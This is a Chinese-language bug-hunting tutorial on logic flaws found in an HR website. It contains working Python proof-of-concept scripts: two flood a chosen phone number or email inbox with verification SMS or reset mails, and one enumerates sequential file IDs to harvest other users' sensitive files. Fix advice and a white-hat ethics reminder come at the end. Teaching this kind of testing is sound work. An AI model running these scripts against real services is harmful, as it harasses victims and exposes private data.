某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享
字数 1367 2025-08-18 11:38:37
HR业务网站逻辑漏洞挖掘与POC编写实战教程
前言
本教程详细讲解某HR业务网站的逻辑漏洞挖掘过程及Python3编写POC的思路和方法。通过学习本教程,您将掌握四种常见逻辑漏洞的挖掘技巧和自动化验证方法。
工具准备
- BurpSuiteFree - 抓包分析工具
- 火狐浏览器 - 配合SwitchyOmega插件使用
- SwitchyOmega插件 - 快速切换代理
- Python3 - 编写POC脚本
漏洞类型及挖掘方法
1. 任意手机用户注册漏洞(低危)
漏洞原理
系统在注册时直接返回短信验证码到响应包中,导致攻击者可获取任意手机号的验证码进行注册。
复现步骤
- 访问注册页面
- 输入任意11位手机号
- 点击"获取验证码"按钮
- 在浏览器开发者工具(Network)中查看响应包,获取验证码
- 使用该验证码完成任意账号注册
危害
攻击者可注册任意手机号账户,可能导致垃圾账号泛滥或冒充他人身份。
2. 注册短信验证码轰炸漏洞
漏洞原理
系统未对短信发送频率进行限制,导致可重复发送验证码短信。
复现步骤
- 使用BurpSuite抓取获取验证码的请求包
- 发送到Repeater模块
- 重复发送请求,观察响应包中不同的验证码
POC编写思路
通过Requests模块批量模拟获取验证码请求。
POC代码
import requests
session = requests.session()
headers = {
'Referer': "https://www.com/*****/reg",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
n = 0
url = "https://www.com/r***/getMobileCode"
def SmsBoom(phpnumber, url):
data = {'mobile': phpnumber}
ron = session.post(url, headers=headers, data=data)
phpnumber = input("请输入你的手机号码:")
AckNumber = int(input("请你输入攻击的次数:"))
while True:
SmsBoom(phpnumber, url)
n += 1
print("[+]成功发送{}条".format(n))
if n == AckNumber:
print('结束攻击')
break
SmsBoom(phpnumber, url)
运行效果
- 输入目标手机号和攻击次数
- POC自动发送指定次数的验证码请求
- 目标手机收到大量验证码短信
3. 密码重置邮件轰炸漏洞(低危)
漏洞原理
重置密码邮件发送无冷却时间限制,可重复发送。
复现步骤
- 在重置密码页面输入邮箱并提交
- 使用BurpSuite抓取请求包
- 在Repeater中重复发送请求
POC编写思路
自动化发送重置密码邮件请求。
POC代码
import requests
session = requests.session()
headers = {
'Referer': "https://www.com/login",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
n = 0
def EmailBoom(Email):
url = 'https://www.com/user/Email'
data = {
'validCodeType': 2,
'email': Email,
'SITE.basepath': 'https://www.com:443/'
}
ron = session.post(url, headers=headers, data=data)
print(ron.text)
Email = input("请输入你的邮件:")
AckNumber = int(input("请你输入攻击的次数:"))
while True:
EmailBoom(Email)
n += 1
print("成功发送{}封".format(n))
if n == AckNumber:
print('结束攻击')
break
运行效果
- 输入目标邮箱和攻击次数
- POC自动发送指定次数的重置邮件
- 目标邮箱被大量重置邮件淹没
4. 未授权访问导致敏感信息泄露(高危)
漏洞原理
文件下载接口未做权限验证,通过修改fileid参数可下载其他用户文件。
复现步骤
- 上传测试文件
- 通过浏览器下载管理器获取下载链接格式
- 修改fileid参数尝试下载其他文件
POC编写思路
- 使用循环递增fileid值
- 对每个fileid发起请求
- 判断响应内容是否为"文件不存在!"
- 将存在的文件链接保存到文本文件
POC代码
import requests
import os
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
url = "https://www.com/config/down?fileid="
Number = int(input("[+]请你输入开始ID:"))
print("开始检测敏感文件")
while True:
f = open('存在文件的ID地址.txt', 'a+')
Number += 1
requrl = url + "{}".format(str(Number))
response = requests.get(url=requrl, headers=headers)
if response.text == str("文件不存在!"):
print("[+]当前请求链接:" + requrl + " 敏感文件不存在 ")
pass
else:
f.write("当前请求链接:" + requrl + "\n")
print("[+]当前请求链接:" + requrl + " 存在敏感文件 ", response.status_code)
f.close()
运行效果
- 输入起始fileid
- POC自动检测存在的文件
- 将有效链接保存到文本文件
- 可使用下载工具批量下载敏感文件
漏洞修复建议
-
任意手机用户注册:
- 验证码不应在响应中返回
- 增加图形验证码防止自动化攻击
-
短信/邮件轰炸:
- 增加发送频率限制(如每分钟1次)
- 增加图形验证码
- 实现IP限制和账号限制
-
未授权访问:
- 对下载接口增加权限验证
- 使用不可预测的文件标识符
- 实现访问控制列表(ACL)
总结
-
逻辑漏洞往往无法通过扫描器发现,需要手动分析业务流程
-
重点关注用户身份验证、权限控制、业务流程缺陷
-
POC编写要点:
- 自动化重复漏洞利用过程
- 包含必要的请求头和参数
- 实现结果判断和输出
-
白帽子应遵循道德规范,及时报告漏洞而非恶意利用
通过本教程的学习,您应该已经掌握了逻辑漏洞挖掘的基本方法和POC编写技巧。建议在实际测试中多练习BurpSuite抓包分析和Python脚本编写,逐步提高漏洞挖掘能力。